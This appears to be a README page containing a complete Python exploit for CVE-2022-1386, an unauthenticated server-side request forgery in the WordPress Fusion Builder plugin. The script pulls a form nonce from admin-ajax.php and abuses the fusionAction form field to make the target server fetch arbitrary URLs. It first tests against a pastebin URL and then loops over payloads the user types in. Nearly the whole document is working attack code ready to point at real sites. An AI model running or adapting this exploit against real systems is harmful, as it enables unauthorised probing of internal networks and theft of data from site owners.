README.md
Rendering markdown...
"""
CVE-2022-1386 - Fusion Builder < 3.6.2 - Unauthenticated SSRF
:author Naufal Reky Ardhana <[email protected]>
"""
import binascii
import json
import os
import requests
import urllib3
from bs4 import BeautifulSoup
def display_banner():
print(
"""
CVE-2022-1386 - Fusion Builder < 3.6.2 - Unauthenticated SSRF
___ ____ ___ ___ ________ ____ _____
|__ \ / __ \__ \|__ \ < /__ /( __ )/ ___/
__/ // / / /_/ /__/ /_____/ / /_ </ __ / __ \
/ __// /_/ / __// __/_____/ /___/ / /_/ / /_/ /
/____/\____/____/____/ /_//____/\____/\____/
""")
def encode_multipart_form_data(fields: object) -> object:
boundary = binascii.hexlify(os.urandom(16)).decode('ascii')
body = (
"".join("--%s\r\n"
"Content-Disposition: form-data; name=\"%s\"\r\n"
"\r\n"
"%s\r\n" % (boundary, field, value)
for field, value in fields.items()) +
"--%s--\r\n" % boundary
)
content_type = "multipart/form-data; boundary=%s" % boundary
return body, content_type
class CVE_2022_1386:
def __init__(self, url):
self.request = None
self.test_url = "https://pastebin.com/raw/XNBxNyaU"
self.fusion_id = None
self.url = url
self.domain = self.url.split("//")[1].split("/")[0]
self.make_folder()
def make_folder(self):
os.makedirs("output", exist_ok=True)
os.makedirs(f"output/{self.domain}", exist_ok=True)
def save_fusion_id(self):
with open(f"output/{self.domain}/fusion_id.txt", "w") as f:
f.write(self.fusion_id)
def load_fusion_id(self):
if os.path.exists(f"output/{self.domain}/fusion_id.txt"):
with open(f"output/{self.domain}/fusion_id.txt", "r") as f:
self.fusion_id = f.read()
return self.fusion_id
else:
return None
def generate_fusion_id(self):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Te": "trailers"
}
data = {
"action": "fusion_form_update_view"
}
fusion_id = self.load_fusion_id()
if fusion_id is None:
r = requests.post(self.url + "/wp-admin/admin-ajax.php", headers=headers, data=data)
if r.status_code == 200:
soup = BeautifulSoup(r.text, "html.parser")
try:
self.fusion_id = soup.find("input", {"name": "fusion-form-nonce-0"})["value"]
self.save_fusion_id()
return self.fusion_id
except TypeError:
return None
else:
return None
else:
return fusion_id
def exploit(self, payload):
fusion_id = self.generate_fusion_id()
if fusion_id is None:
return False
data = {
"formData": f"email=example%40example.com&fusion_privacy_store_ip_ua=false"
f"&fusion_privacy_expiration_interval"
f"=48&privacy_expiration_action=ignore&fusion-form-nonce-0={fusion_id}&fusion-fields-hold"
f"-private-data=",
"action": "fusion_form_submit_form_to_url",
"fusion_form_nonce": fusion_id,
"form_id": "0",
"post_id": "0",
"field_labels": '{"email":"Email address"}',
"hidden_field_names": "[]",
"fusionAction": payload,
"fusionActionMethod": "GET"
}
encoded_data = encode_multipart_form_data(data)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Te": "trailers",
"Content-Type": encoded_data[1]
}
r = requests.post(self.url + "/wp-admin/admin-ajax.php", headers=headers, data=encoded_data[0])
self.request = r.request
if r.status_code == 200:
try:
return r.json()
except json.decoder.JSONDecodeError:
return {"status": "failed"}
else:
return {"status": "failed"}
def save_raw_request(self, filename):
headers = [f"{k}: {v}" for k, v in self.request.headers.items()]
with open(filename, "w") as f:
f.write(self.request.method + " " + self.request.url + " HTTP/1.1\r\n")
f.write("\r\n".join(headers))
f.write("\r\n\r\n")
f.write(self.request.body)
if __name__ == '__main__':
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
display_banner()
url = input("[>] Target URL: ")
cve = CVE_2022_1386(url)
print("[+] Testing SSRF...")
result = cve.exploit(cve.test_url)
if "3e87da640674ddd9c7bafbc1932b91c9" in result['info']:
print("[+] Target is vulnerable to SSRF!")
print("[+] Saving raw request...")
cve.save_raw_request(f"output/{cve.domain}/raw_request.txt")
print(f"[+] Raw request saved to output/ folder")
while True:
payload = input("[>] Payload: ")
if payload == "exit":
break
print("[+] Sending payload...")
result = cve.exploit(payload)
if result['status'] == 'success':
print("[+] Response:")
print(result['info'])
else:
print("[-] Payload is not working!")
else:
print("[-] Target is not vulnerable to SSRF!")